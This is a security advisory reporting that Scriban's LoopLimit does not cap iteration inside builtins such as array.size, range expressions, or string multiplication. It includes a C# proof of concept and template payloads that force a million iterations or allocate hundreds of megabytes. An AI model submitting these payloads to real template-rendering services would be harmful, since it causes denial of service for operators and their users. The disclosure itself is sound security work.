Scriban: Built-in operations bypass LoopLimit and delay cancellation, enabling Denial of Service

Summary

## Summary Scriban's `LoopLimit` only applies to script loop statements, not to expensive iteration performed inside operators and builtins. An attacker can submit a single expression such as `{{ 1..1000000 | array.size }}` and force large amounts of CPU work even when `LoopLimit` is set to a very small value. ## Details The relevant code path is: - `ScriptBlockStatement.Evaluate()` calls `context.CheckAbort()` once per statement in `src/Scriban/Syntax/Statements/ScriptBlockStatement.cs` lines 41–46. - `LoopLimit` enforcement is tied to script loop execution via `TemplateContext.StepLoop()`, not to internal helper iteration. - `array.size` in `src/Scriban/Functions/ArrayFunctions.cs` lines 596–609 calls `list.Cast<object>().Count()` for non-collection enumerables. - `1..N` creates a `ScriptRange` from `ScriptBinaryExpression.RangeInclude()` in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 745–748. - `ScriptRange` then yields every element one by one **without going through `StepLoop()`** in `src/Scriban/Runtime/ScriptRange.cs`. This means a single statement can perform arbitrarily large iteration without being stopped by `LoopLimit`. There is also a related memory-amplification path in `string * int`: - `ScriptBinaryExpression.CalculateToString()` appends in a plain `for` loop in `src/Scriban/Syntax/Expressions/ScriptBinaryExpression.cs` lines 301–334. --- ## Proof of Concept ### Setup ```bash mkdir scriban-poc3 cd scriban-poc3 dotnet new console --framework net8.0 dotnet add package Scriban --version 6.6.0 ``` ### `Program.cs` ```csharp using Scriban; var template = Template.Parse("{{ 1..1000000 | array.size }}"); var context = new TemplateContext { LoopLimit = 1 }; Console.WriteLine(template.Render(context)); ``` ### Run ```bash dotnet run ``` ### Actual Output ``` 1000000 ``` ### Expected Behavior A safety limit of `LoopLimit = 1` should prevent a template from performing one million iterations worth of work. ### Optional Stronger Variant (Memory Amplification) ```csharp using Scriban; var template = Template.Parse("{{ 'A' * 200000000 }}"); var context = new TemplateContext { LoopLimit = 1 }; template.Render(context); ``` This variant demonstrates that `LoopLimit` also does not constrain large internal allocation work. --- ## Impact This is an uncontrolled resource consumption issue. Any application that accepts attacker-controlled templates and relies on `LoopLimit` as part of its safe-runtime configuration can still be forced into heavy CPU or memory work by a single expression. The issue impacts: - Template-as-a-service systems - CMS or email rendering systems that accept user templates - Any multi-tenant use of Scriban with untrusted template content